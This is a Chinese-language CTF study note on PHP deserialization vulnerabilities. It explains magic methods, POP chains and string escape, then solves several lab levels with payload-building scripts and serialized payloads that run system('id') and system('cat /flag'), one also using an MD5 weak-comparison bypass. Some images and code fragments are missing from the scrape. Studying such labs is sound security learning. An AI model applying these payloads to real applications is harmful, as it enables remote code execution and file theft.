php序列化与反序列化
序列化基础知识
$value = ‘php://filter/convert.base64-encode/resource=/flag’
include(“/flag”); /flag
不是有效 PHP 脚本(没有 <?php
),就会 白屏或报错。
include执行文件的内容而不是显示


对象的序列化

反序列化的特性
1.反序列化之后的内容是一个对象
2.反序列化生成的对象里的值,由反序列化里的值提供:与原有类预定义的值无关;
不管有没有类 类里面原来定义的是什么
3.反序列化不触发类的成员方法;需要调用方法后才能触发(魔术方法)
反序列化就是把序列化后的参数还原成实例化的对象
反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控
通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值。
a);
}
}
$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;
?>
?benben=O:4:”test”:1:{s:1:”a”;s:13:”system(‘id’);”;}不明白我的为什么没有回显信息
魔术方法
常见的几个魔术方法:
名称 |
触发时机 |
__construct() |
在对象实例化(创建对象)的时候自动触发 |
__destruct() |
在销毁对象的时候自动触发 |
__wakeup() |
执行unserialize()时,先会调用这个函数 |
__sleep() |
执行serialize()时,先会调用这个函数 |
__call() |
在对象上下文中调用不可访问的方法时触发 |
__get() |
访问私有或不存在的成员属性的时候自动触发 |
__set() |
对私有成员属性进行设置值时自动触发 |
__isset() |
对私有成员属性进行 isset 进行检查时自动触发 |
__unset() |
对私有成员属性进行 unset 进行检查时自动触发 |
__toString() |
把类当作字符串使用时触发 |
__invoke() |
当尝试将对象调用为函数时触发 |
what:一个预定义好的,在特定情况下自动触发的行为方法。
相关机制:
触发时机(最关键):动作不同触发的方法也不同
功能 参数(一些魔术方法会传参) 返回值

__construst:
构造函数 在实例化一个对象的时候首先会去自动执行的一个方法
__destruct:
在反序列之后
析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法

这里触发析构函数的是new和unserialize (反序列化得到的是对象 用完后会销毁)
serialize不会触发析构
__sleep
serialize序列化之前

sleep在前


只会返回sleep里的username和nickname 因为在serialize时触发了sleep sleep里没有passwd
小例题

__wakeup
在反序列化之前


POP链




字符串逃逸
减少和增多
反序列化字符串减少逃逸:多逃逸出一个成员属性第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
反序列化字符串增多逃逸:构造出一个逃逸成员属性第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性
减少是吃掉 增多是吐出来
php-ser-libs
level1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
class a { var $act ="show_source('flag.php');"; function action(){ eval($this->act);} } $a=new a(); echo serialize($a);
?>
|
对输入的flag进行反序列化 再调用action
level2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| class mylogin { var $user; var $pass; function __construct($user, $pass) { $this->user = $user; $this->pass = $pass; }
function login() { if ($this->user == "daydream" and $this->pass == "ok") { return 1; } } } $b=new mylogin("daydream","ok");
echo urldecode(serialize($b));
|
漏洞在于这个程序他只看账号密码对不对 不管对象是谁 所以利用序列化构造字符串给输入 书面一点:
程序直接相信了反序列化后的对象,而没有验证对象的来源和合法性。
level3
1 2 3 4 5 6 7
| class mylogin{ public $user="daydream"; public $pass="ok"; } $b=new mylogin("daydream","ok");
echo urlencode(serialize($b));
|
这里和第二关是一样的方法 只不过得到的参数需要通过cookie传进去
level4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
class func { public $key; public function __destruct() { unserialize($this->key); } }
class GetFlag { public $code; public $action; public function get_flag(){ $a=$this->action; $a('', $this->code); } }
unserialize($_GET['param']);
?> <br><a href="../level5">点击进入第五关</a>
|
我们伪造一个 GetFlag
对象,它能执行代码。
然后我们把这个对象塞进一个 func
对象的 key
里面。
把整个 func
对象变成字符串(序列化)后,通过 param=...
参数传给服务器。
程序执行后,会反序列化出 func
→ 又反序列化出 GetFlag
→ 最终触发代码执行
靶场有问题开了其他靶场
PHPSerialize
level1
1 2 3 4 5 6 7 8 9 10 11
| class FLAG{ public $flag_string = "HelloCTF{????}";
function __construct(){ echo $this->flag_string; } }
$code = $_POST['code'];
eval($code);
|
实例化flag类
new FLAG
level2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
error_reporting(0);
$flag_string = "HelloCTF{????}";
class FLAG{ public $free_flag = "???";
function get_free_flag(){ echo $this->free_flag; } }
$target = new FLAG();
$code = $_POST['code'];
if(isset($code)){ eval($code); $target->get_free_flag(); } else{ highlight_file('source'); }
|
code=$target->free_flag=$flag_string;
target是一个对象变量 这指向他的一个free_flag属性 再把flag_string赋值给free_flag(public是公有属性所以可以直接赋值)
level3

var_dump(get_defined_vars()); 这段代码在 PHP 中的作用是:输出当前作用域中所有已定义的变量及其值
level4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| class FLAG3{ private $flag3_object_array = array("?","?"); }
class FLAG{ private $flag1_string = "?"; private $flag2_number = '?'; private $flag3_object;
function __construct() { $this->flag3_object = new FLAG3(); }
}
$flag_is_here = new FLAG();
$code = $_POST['code'];
if(isset($code)){ eval($code); } else { highlight_file(__FILE__); }
|
level5
[SWPUCTF 2022 新生赛]ez_1zpop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php error_reporting(0); class dxg { function fmm() { return "nonono"; } } class lt { public $impo = 'hi'; public $md51 = 'weclome'; public $md52 = 'to NSS';
function __construct()//创建对象时 { $this->impo = new dxg; } function __wakeup()//反序列化时 { $this->impo = new dxg; return $this->impo->fmm(); }
function __toString()//把对象当成字符串时 { if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52) return $this->impo->fmm(); }
function __destruct()//对象销毁前 { echo $this; } } class fin { public $a; public $url = 'https://www.ctfer.vip'; public $title;
function fmm() { $b = $this->a; $b($this->title); } }
if (isset($_GET['NSS'])) { $Data = unserialize($_GET['NSS']); } else { highlight_file(__file__); }
|
md5 碰撞绕过
首先肯定是要触发tostring里面的比较的 tostring触发条件是当作字符串处理 所以__destruct里的echo会触发
触发destruct在对象被销毁之前 传入的nss执行完毕之后对象lt自动销毁 所以触发destruct 然后进入到tostring里的md5弱类型比较
这里的比较是

就是md51和md52的md5值要相等同手md51和md52的原始值不能相同
满足之后就会触发return $this->impo->fmm();
也就是$lt->impo->fmm();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
class dxg {} class fin { public $a; public $url = 'https://www.ctfer.vip'; public $title; } class lt { public $impo; public $md51; public $md52; }
$fin = new fin(); $fin->a = 'file_get_contents'; $fin->title = '/flag';
$lt = new lt(); $lt->impo = $fin; $lt->md51 = '240610708'; $lt->md52 = 'QNKCDZO';
$payload = serialize($lt); echo "Raw payload:\n$payload\n\n"; echo "URL encoded payload:\n" . urlencode($payload) . "\n";
|
然后会发现这里回显的是xdg中的nonono
原因是传入的payload使自动触发了wakeup(反序列化时)wakeup强制执行$this->impo = new dxg; return $this->impo->fmm();把$lt->impo = new fin()
给覆盖了
?NSS=O:2:”lt”:4:{s:4:”impo”;O:3:”fin”:3:{s:1:”a”;s:6:”system”;s:3:”url”;s:21:”https://www.ctfer.vip";s:5:"title";s:9:"cat /flag”;}s:4:”md51”;s:11:”s155964671a”;s:4:”md52”;s:11:”s214587387a”;}